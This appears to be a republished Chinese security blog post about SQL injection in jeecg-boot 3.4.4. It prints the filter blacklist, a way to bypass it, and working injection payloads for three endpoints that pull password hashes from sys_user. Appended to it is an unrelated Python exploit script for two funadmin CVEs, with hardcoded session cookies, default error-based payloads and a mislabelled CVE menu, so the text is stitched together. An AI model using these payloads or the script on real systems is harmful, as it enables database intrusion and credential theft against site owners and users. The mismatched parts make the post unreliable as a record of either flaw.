jeecg是一个应用软件。一款基于代码生成器的智能开发平台。jeecg jeecg-boot v3.4.4版本存在安全漏洞,该漏洞源于通过构建block report组件发现包含SQL注入漏洞。
版本号:3.4.4
前端版本:vue2版
private final static Pattern SQL_ANNOTATION = Pattern.compile("/\*.*\*/");
private final static String XSS_STR = "and |extractvalue|updatexml|exec |insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |;|or |+|user()";
ruleMap.put("sys_user", "password,salt");
在isPass函数中ruleMap.get(name)为null即可绕过, 可以采用sys_user
, (sys_user), sys_user%20等绕过。
存在多个注入点:
-
/sys/duplicate/check接口:
dataId=2000&fieldName=(select(if(((select/*%0A*/password/*%0A*/from/*%0A*/sys_user/*%0A*/where/*%0A*/username/*%0A*/='jeecg')='eee378a1258530cb'),sleep(4),1)))&fieldVal=1000&tableName=sys_log
-
/sys/api/getDictItems
该接口没有进行签名校验:
?dictCode=sys_user%20,username,password
-
sys/dict/queryTableData
?table=%60sys_user%60&pageSize=22&pageNo=1&text=username&code=password
更新当前系统或软件至最新版,完成漏洞的修复。
import requests
import sys
import urllib.parse
import uuid
'''Генирация X-CSRF-TOKEN'''
csrf_token =uuid.uuid4()
csrf_token =str(csrf_token)
csrf_token = csrf_token.replace('-', '')
'''Добавление общих для двух сплоиитов заголовков'''
headers = {}
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
headers["Accept"] = "application/json, text/javascript, */*"
headers["Accept-Language"]= "zh-CN,zh"
headers["X-Requested-With"] = "XMLHttpRequest"
headers["X-CSRF-TOKEN"] = csrf_token
'''Сплоит для CVE-2023-24775'''
def poc_CVE_2023_24775(url):
headers["Host"] = url
headers["Content-Type"] = "application/x-www-form-urlencoded"
headers["charset"] = "UTF-8"
headers["Accept-Encoding"]= "gzip"
url=str(url)
url=url+"/backend/member.memberLevel/index?parentField=pid&"
'''Добавление куки файлов - внимание если эти куки вам не подхдоят можете заменить на ваши сессионные куки '''
cookies={'Hm_lvt_ce074243117e698438c49cd037b593eb':'1673498041','PHPSESSID':'591a908579ac738f0fc0f53d05c6aa51', 'think_lang':'zh-cn', 'Hm_lvt_8dcaf664827c0e8ae52287ebb2411aed':'1674888420', 'Hm_lpvt_8dcaf664827c0e8ae52287ebb2411aed':'1674888420', 'auth_account':'YToxOntzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI3OiJleUowZVhBaU9pSktWMVFpTENKaGJHY2lPaUpJVXpJMU5pSjkuZXlKdFpXMWlaWEpmYVdRaU9qRTFORGdzSW1Gd2NHbGtJam9pSWl3aVlYQndjMlZqY21WMElqb2lJaXdpYVhOeklqb2lhSFIwY0hNNkx5OTNkM2N1Wm5WdVlXUnRhVzR1WTI5dElpd2lZWFZrSWpvaWFIUjBjSE02THk5M2QzY3VablZ1WVdSdGFXNHVZMjl0SWl3aWMyTnZjR1Z6SWpvaWNtOXNaVjloWTJObGMzTWlMQ0pwWVhRaU9qRTJOelE0T0RrMU1EQXNJbTVpWmlJNk1UWTNORGc0T1RVd01Dd2laWGh3SWpveE5qYzFOVGd3TnpBd2ZRLkJITHd5WU5nNkpVVUZmMFFucGM0aHk2YlZ1c1V6WkVqR3N2SElva0pxYU0iO30%3D', 'clound_account':'YTo0OntzOjI6ImlkIjtpOjE1NDg7czo4OiJ1c2VybmFtZSI7czoxMDoibXlmdW5hZG1pbiI7czo4OiJuaWNrbmFtZSI7czowOiIiO3M6NjoiYXZhdGFyIjtzOjM2OiIvc3RhdGljL2Zyb250ZW5kL2ltYWdlcy9hdmF0YXIvNi5qcGciO30%3D' }
''' Ввод sqli если вы не ввели ничего то ввод стандартной иньекции'''
sqli= str(input("input selectFields[name]=name&selectFields[value]=your select sqli"))
if(len(sqli)!=0):
sqli = urllib.parse.quote_plus(sqli)
url=url+sqli
else:
url=url+"selectFields%5Bname%5D=name&selectFields%5Bvalue%5D=extractvalue%281%2Cconcat%28char%28126%29%2Cuser()%29%29"
print(url)
'''Запрос на инькцию и вывод ответа'''
sqli_request= requests.get(url, cookies=cookies, headers=headers)
print(sqli_request.text)
'''Проверка есть в тексте ответа sqli_request "message", если есть то скорее всего сплоит работает: https://github.com/funadmin/funadmin/issues/9'''
if('message' in sqli_request.text):
print('**POC CVE-2023-24775 sqli works** :)')
else:
print('**POC CVE-2023-24775 sqli not works** :(')
'''Сплоит для CVE-2023-24780'''
def poc_CVE_2023_24774(url):
headers["Host"] = url
headers["Origin"] = url
headers["Accept-Encoding"] = "gzip, deflate"
url=str(url)
url=url+"/databases/table/columns?id='"
'''Добавление куки файлов - внимание если эти куки вам не подхдоят, можете заменить на ваши сессионные куки '''
cookies={'Hm_lvt_ce074243117e698438c49cd037b593eb':'1673498041', 'ci_session':'ca40t5m9pvlvp7gftr11qng0g0lofceq', 'PHPSESSID':'591a908579ac738f0fc0f53d05c6aa51', 'think_lang':'zh-cn', 'Hm_lvt_8dcaf664827c0e8ae52287ebb2411aed':'1674888420', 'Hm_lpvt_8dcaf664827c0e8ae52287ebb2411aed':'1674888420', 'auth_account':'YToxOntzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI3OiJleUowZVhBaU9pSktWMVFpTENKaGJHY2lPaUpJVXpJMU5pSjkuZXlKdFpXMWlaWEpmYVdRaU9qRTFORGdzSW1Gd2NHbGtJam9pSWl3aVlYQndjMlZqY21WMElqb2lJaXdpYVhOeklqb2lhSFIwY0hNNkx5OTNkM2N1Wm5WdVlXUnRhVzR1WTI5dElpd2lZWFZrSWpvaWFIUjBjSE02THk5M2QzY3VablZ1WVdSdGFXNHVZMjl0SWl3aWMyTnZjR1Z6SWpvaWNtOXNaVjloWTJObGMzTWlMQ0pwWVhRaU9qRTJOelE0T0RrMU1EQXNJbTVpWmlJNk1UWTNORGc0T1RVd01Dd2laWGh3SWpveE5qYzFOVGd3TnpBd2ZRLkJITHd5WU5nNkpVVUZmMFFucGM0aHk2YlZ1c1V6WkVqR3N2SElva0pxYU0iO30%3D', 'clound_account':'YTo0OntzOjI6ImlkIjtpOjE1NDg7czo4OiJ1c2VybmFtZSI7czoxMDoibXlmdW5hZG1pbiI7czo4OiJuaWNrbmFtZSI7czowOiIiO3M6NjoiYXZhdGFyIjtzOjM2OiIvc3RhdGljL2Zyb250ZW5kL2ltYWdlcy9hdmF0YXIvNi5qcGciO30%3D'}
''' Ввод sqli, если вы не ввели ничего то ввод стандартной иньекции'''
sqli= str(input("input sqli:"))
if(len(sqli)!=0):
sqli = sqli.replace(' ', '+')
url=url+sqli+"--+qRTY"
else:
url=url+"+AND+GTID_SUBSET(CONCAT(0x12,(SELECT+(ELT(6415=6415,1))),user()),6415)--+qRTY"
print(url)
'''Запрос на инькцию и вывод ответа'''
sqli_request= requests.get(url, cookies=cookies, headers=headers)
print(sqli_request.text)
'''Проверка есть в тексте ответа sqli_request "message", если есть то скорее всего сплоит работает: https://github.com/funadmin/funadmin/issues/6'''
if('message' in sqli_request.text):
print('**POC CVE-2023-24774 sqli works** :)')
else:
print('**POC CVE-2023-24774 sqli not works** :(')
if __name__ == "__main__":
args = ['-h','-u']
if args[0] in sys.argv:
print("-h= help, -u=url; python sql.py -u https://site.com")
if args[1] in sys.argv:
url=sys.argv[2]
which_cve=int(input("which cve test,CVE-2023-24775 or CVE-2023-24780? if CVE-2023-24780 enter 1, if CVE-2023-24775 enter 2:"))
if(which_cve==1):
poc_CVE_2023_24775(url)
if(which_cve==2):
poc_CVE_2023_24774(url)
https://github.com/jeecgboot/jeecg-boot/issues/4511
https://github.com/jeecgboot/jeecg-boot/issues/4393
https://github.com/csffs/CVE-2023-24775-and-CVE-2023-24780/blob/main/sqli_poc.py
本文版权归作者和微信公众号平台共有,重在学习交流,不以任何盈利为目的,欢迎转载。
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。文库内容中部分攻防技巧等只允许在目标授权的情况下进行使用,大部分文章来自各大安全社区,个人博客,如有侵权请立即联系公众号进行删除。若不同意以上警告信息请立即退出浏览!!!
敲敲小黑板:《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。
原文始发于微信公众号(无问之路):jeecg-boot SQL注入漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论